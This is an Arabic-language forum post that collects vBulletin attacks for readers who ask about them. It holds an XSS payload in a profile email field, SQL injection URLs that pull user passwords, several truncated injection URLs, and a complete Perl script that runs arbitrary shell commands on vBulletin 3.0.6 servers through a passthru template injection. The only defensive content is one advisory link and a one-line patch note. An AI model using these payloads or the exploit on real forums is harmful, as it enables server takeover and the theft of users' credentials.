الي يسأل عن ثغرات vBulletin ان شاء الله اغلبها هناء

:
/forum/profile.php?do=editpassword
pass:your pass
email: imei@myimei.com”>**********alert(1)</script>.nomatt
Note About lenght limitation 
****
forum/profile.php?do=editoptions
Receive Email from Other Members=yes
****
forum/sendmessage.php?do=mailmember&u={your id}


-------Solution-------
Upgrade to vendore provided patch
المصدر : http://kapda.ir/advisory-266.html

index.php?act=ibProArcade&module=report&user=-1 union select password from user where userid=[any_user]

http://www.xxxx.com/vb/calendar.php?do=addreminder&e=[eventid]

:
#!/usr/bin/perl


# vBulletin <= 3.0.6 Add templates remote execute exploit (perl)
# suBzero@kisobox.com
# Reference: http://www.securityfocus.com/bid/12622/info
#


use IO::Socket;


if (@ARGV < 3)
{
print q(
[+] vBulletin <= 3.0.6 Add templates 
[+] suBzero@kisobox.com
[+] Reference: http://www.securityfocus.com/bid/12622/info
[+] Usage : vbulletin306.pl example.com /forums/ "uname id" ;
); 
exit;
}


$serv = $ARGV[0];
$dir = $ARGV[1];
$cmd = $ARGV[2];


$serv =~ s/(http:\/\/)//eg;
print "\n";
print " [+] vBulletin 3.0.6 kisobox.com \r\n";
print " [+] Sending regard to $serv$dir \r\n";
print " [+] Command $cmd \r\n";
print " [+] Exploiting on progress \r\n";


$cmd = "echo _START_;".$cmd.";echo _END_"; #strOke,dont kill me 4 this
$byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd)); 
$data = $dir;
$data .= "misc.php?do=page&template={\${passthru($byte)}}"; 


$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-] Connection error\r\n";


print $sock "GET $data HTTP/1.1\n";
print $sock "Host: $serv\n";
print $sock "Accept: */*\n";
print $sock "Content-Length: ".length($data)." \n".
print $sock "Connection: close\n\n";


$on = 0; #flag


while ($res = <$sock>)
{
if ($res =~ /^_END_/) 
{ print "---------------------------------------------\r\n"; exit();}
if ($on == 1) { print "$res"; }
if ($res =~ /^_START_/) 
{ $on = 1; }
}
print "[-] Exploit failed \r\n";
print "---------------------------------------------\r\n";
-------------------------

http://www.xxxx.com/vb/last.php?fti...20LIMI T%201/*

http://www.xxxx.com/vb/whodownloade...R E%20userid=1